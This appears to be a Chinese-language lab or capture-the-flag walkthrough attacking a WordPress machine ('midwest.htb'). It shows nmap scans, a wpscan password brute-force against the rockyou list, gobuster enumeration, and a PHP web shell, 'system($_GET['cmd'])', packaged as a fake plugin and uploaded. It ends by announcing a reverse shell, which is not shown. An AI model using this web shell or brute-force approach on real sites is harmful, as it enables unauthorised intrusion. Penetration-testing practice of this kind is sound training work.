PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 31:62:bb:fc:87:9a:39:01:96:54:03:18:bb:03:bc:90 (RSA) | 256 4d:21:68:a0:58:a4:18:27:ba:bd:29:ba:a7:91:bc:35 (ECDSA) |_ 256 77:ce:55:b4:87:93:dc:4c:05:6e:67:90:3f:78:d0:64 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-generator: WordPress 5.6 |_http-title: Midwest Power – Powering the future! |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 00:0C:29:D9:5D:BC (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-dombased-xss: Couldn't find any DOM based XSS. | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.241.184 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.241.184:80/ | Form id: |_ Form action: http://www.midwest.htb/ |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: | /wp-login.php: Possible admin folder | /readme.html: Wordpress version: 2 | /: WordPress version: 5.6 | /wp-includes/images/rss.png: Wordpress version 2.2 found. | /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found. | /wp-includes/images/blank.gif: Wordpress version 2.6 found. | /wp-includes/js/comment-reply.js: Wordpress version 2.7 found. | /wp-login.php: Wordpress login page. | /wp-admin/upgrade.php: Wordpress login page. |_ /readme.html: Interesting, a readme.
sudo wpscan --url http://www.midwest.htb/ --enumerate u --usernames ./user.txt --passwords /usr/share/wordlists/rockyou.txt
目录爆破
1
sudo gobuster dir -u http://www.midwest.htb/ --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
1 2 3
/wp-includes/ 文件很多且大部分无法显示
/nagios 401
nagios 是什么 是个网络监控工具
nagios
1 2 3 4 5 6 7 8 9 10 11 12
curl http://www.midwest.htb/nagios This site is asking you to sign in.
<!DOCTYPE HTMLPUBLIC"-//IETF//DTD HTML 2.0//EN"> <html><head> <title>401 Unauthorized</title> </head><body> <h1>Unauthorized</h1> <p>This server could not verify that you are authorized to access the document requested. Either you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how to supply the credentials required.</p> <hr> <address>Apache/2.4.38 (Debian) Server at www.midwest.htb Port 80</address> </body></html>
It seems you have put wrong folder/file. wordpress only get realized that there is a plugin when it can get a php file which header contain at lease this line
/* Plugin name: your plugin name */
So, you have to check..
- unzip the plugin file and see if there any php file containing header like that. you plugin file should be in.. wp-content/PLUGIN_DIRECTORY/PLUGIN_FILE.php
check this first and let us know if it works or not
所以我给 php 加个自己的签名看看
1 2 3 4 5
<?php /* plugin name: test */ system($_GET['cmd']); phpinfo(); ?>
1 2 3 4 5 6 7
Installing plugin from uploaded file: test.zip
Unpacking the package…
Installing the plugin…
Plugin installed successfully.
成功传入, Active plugins 成功看到 phpinfo, 但是页面很卡顿 这里写一个 revshell